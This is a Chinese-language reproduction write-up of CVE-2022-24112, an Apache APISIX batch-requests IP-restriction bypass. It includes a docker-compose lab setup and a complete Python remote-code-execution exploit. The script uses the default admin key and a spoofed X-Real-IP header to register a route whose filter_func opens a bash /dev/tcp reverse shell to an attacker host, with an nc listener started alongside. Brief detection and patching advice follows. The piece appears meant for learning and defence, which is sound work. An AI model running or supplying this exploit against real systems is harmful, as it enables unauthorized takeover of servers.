漏洞复现-CVE-2022-24112原理与复现

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漏洞原理

漏洞描述

An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.

攻击者可以滥用batch-requests插件发送请求以绕过管理API的IP限制。Apache APISIX的默认配置（具有默认API密钥）易受远程代码执行的攻击。当管理密钥更改或管理API的端口更改为与数据面板不同的端口时，影响较小。但绕过Apache APISIX数据面板的IP限制仍然存在风险。在批处理请求插件中有一个检查，它用实际的远程IP覆盖客户端IP。但是由于代码中的一个错误，可以绕过此检查。

影响范围

Apache APISIX 1.3 ~ 2.12.1 之间的所有版本（不包含 2.12.1 ）
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本（不包含 2.10.4）

apisix学习

查看apisix官网介绍可知apisix配置文件在

conf/config.yaml

查看路由部分可知默认的端口为9080，默认的key为

edd1c9f034335f136f87ad84b625c8f1

查看漏洞插件部分，可知该插件如何配置和使用

查看修复方式，发现是转为了小写进行覆盖

漏洞复现

config.yaml

apisix主要配置如下

apisix:
  node_listen: 9080              # APISIX listening port
  enable_ipv6: false

  allow_admin:                  # http://nginx.org/en/docs/http/ngx_http_access_module.html#allow
    - 0.0.0.0/0              # We need to restrict ip access rules for security. 0.0.0.0/0 is for test.

  admin_key:
    - name: "admin"
      key: edd1c9f034335f136f87ad84b625c8f1
      role: admin                 # admin: manage all configuration data
                                  # viewer: only can view configuration data
    - name: "viewer"
      key: 4054f7cf07e344346cd3f287985e76a2
      role: viewer

  enable_control: true
  control:
    ip: "0.0.0.0"
    port: 9092

batch-requests插件是默认开启的

环境搭建

这里直接使用了twseptian师傅的example，docker-compose.yml如下

version: "3"

services:
  apisix-dashboard:
    image: apache/apisix-dashboard:2.10.1-alpine
    restart: always
    volumes:
    - ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml
    ports:
    - "9000:9000"
    networks:
      apisix:

  apisix:
    image: apache/apisix:2.12.0-alpine
    restart: always
    volumes:
      - ./apisix_log:/usr/local/apisix/logs
      - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
    depends_on:
      - etcd
    ##network_mode: host
    ports:
      - "9080:9080/tcp"
      - "9091:9091/tcp"
      - "9443:9443/tcp"
      - "9092:9092/tcp"
    networks:
      apisix:

  etcd:
    image: bitnami/etcd:3.4.15
    restart: always
    volumes:
      - etcd_data:/bitnami/etcd
    environment:
      ETCD_ENABLE_V2: "true"
      ALLOW_NONE_AUTHENTICATION: "yes"
      ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
    ports:
      - "2379:2379/tcp"
    networks:
      apisix:

  web1:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web1.conf:/etc/nginx/nginx.conf
    ports:
      - "9081:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  web2:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web2.conf:/etc/nginx/nginx.conf
    ports:
      - "9082:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  prometheus:
    image: prom/prometheus:v2.25.0
    restart: always
    volumes:
      - ./prometheus_conf/prometheus.yml:/etc/prometheus/prometheus.yml
    ports:
      - "9090:9090"
    networks:
      apisix:

  grafana:
    image: grafana/grafana:7.3.7
    restart: always
    ports:
      - "3000:3000"
    volumes:
      - "./grafana_conf/provisioning:/etc/grafana/provisioning"
      - "./grafana_conf/dashboards:/var/lib/grafana/dashboards"
      - "./grafana_conf/config/grafana.ini:/etc/grafana/grafana.ini"
    networks:
      apisix:

networks:
  apisix:
    driver: bridge

volumes:
  etcd_data:
    driver: local

可以看到他在9080端口开了apisix，在9000端口开了dashboard，挂载了配置文件和日志。
使用docker-compose启动

docker-compose up -d

启动后访问9000，可以看到dashboard（账号密码都是admin）

exp代码

这里使用了twseptian师傅的poc2.py，代码如下：

#!/usr/bin/python3
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: Kali Linux
# CVE : CVE-2022-24112

import requests
import sys
import subprocess
import shlex
import argparse

class Interface ():
        def __init__ (self):
                self.red = '\033[91m'
                self.green = '\033[92m'
                self.white = '\033[37m'
                self.yellow = '\033[93m'
                self.bold = '\033[1m'
                self.end = '\033[0m'

        def header(self):
                print('\n    >> Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
                print('    >> by twseptian\n')

        def info (self, message):
                print(f"[{self.white}*{self.end}] {message}")

        def warning (self, message):
                print(f"[{self.yellow}!{self.end}] {message}")

        def error (self, message):
                print(f"[{self.red}x{self.end}] {message}")

        def success (self, message):
                print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")

# Instantiate our interface class
global output
output = Interface()
output.header()

class Exploit:
    def __init__(self, target_ip, target_port, localhost,localport):
        self.target_ip = target_ip
        self.target_port = target_port
        self.localhost = localhost
        self.localport = localport

    def get_rce(self):
        headers1 = {
            'Host': '{}:8080'.format(target_ip),
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
            'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/json',
            'Content-Length': '540','Connection': 'close',
        }
        headers2 = {
            'Host': '{}:8080'.format(target_ip),
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
            'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/json',
            'Connection': 'close',
        }
        json_data = {
            'headers': {
                'X-Real-IP': '{}:8080'.format(target_ip),
                'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
                'Content-Type': 'application/json',
            },
            'timeout': 1500,
            'pipeline': [
                {
                    'path': '/apisix/admin/routes/index','method': 'PUT',
                    'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+localhost+'/'+localport+';/bin/sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
                },
            ],
        }

        output.warning("Take RCE\n")
        response1 = requests.post('http://'+target_ip+':'+target_port+'/apisix/batch-requests', headers=headers1, json=json_data, verify=False)
        listener = "nc -nvlp {}".format(localport)
        cmnd = shlex.split(listener)
        subprocess.Popen(cmnd)
        response2 = requests.get('http://'+target_ip+':'+target_port+'/rms/fzxewh', headers=headers2, verify=False)

def get_args():
    parser = argparse.ArgumentParser(description='Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
    parser.add_argument('-t', '--rhost', dest="target_ip", required=True, action='store', help='Target IP')
    parser.add_argument('-p', '--rport', dest="target_port", required=True, action='store', help='Target Port')
    parser.add_argument('-L', '--lhost', dest="localhost", required=True, action='store', help='Localhost/Local IP')
    parser.add_argument('-P', '--lport', dest="localport", required=True, action='store', help='Localport')
    args = parser.parse_args()
    return args

try:
    args = get_args()
    target_ip = args.target_ip
    target_port = args.target_port
    localhost = args.localhost
    localport = args.localport

    exp = Exploit(target_ip, target_port, localhost, localport)
    exp.get_rce()
except KeyboardInterrupt:
    pass

可以看到设置了X-Real-IP进行绕过，发送了注册路由的请求，和使用batch-requests插件的请求，通过filter_func设置了反弹shell

监听4444端口

运行poc2.py，添加参数

监听端收到请求，可以执行命令

入侵检测与修复

查看dashboard，观察是否有恶意路由


查看日志，是否有batch-requests相关请求

防御最好的方式是更新版本，其次可以限制ip对服务器的访问

总结

由于代码逻辑问题，没有覆盖为真实ip，导致绕过了请求限制，且发送请求有默认的key，通过发送请求注册路由，并使用batch-requests插件执行了命令。

参考

CVE-2022-24112
github-cve-2022-24112
【技术干货】CVE-2022-24112 Apache APISIX 远程代码执行漏洞
Apache-apisix-快速入门指南
Apache-apisix-batch-requests插件
github-apisix漏洞修复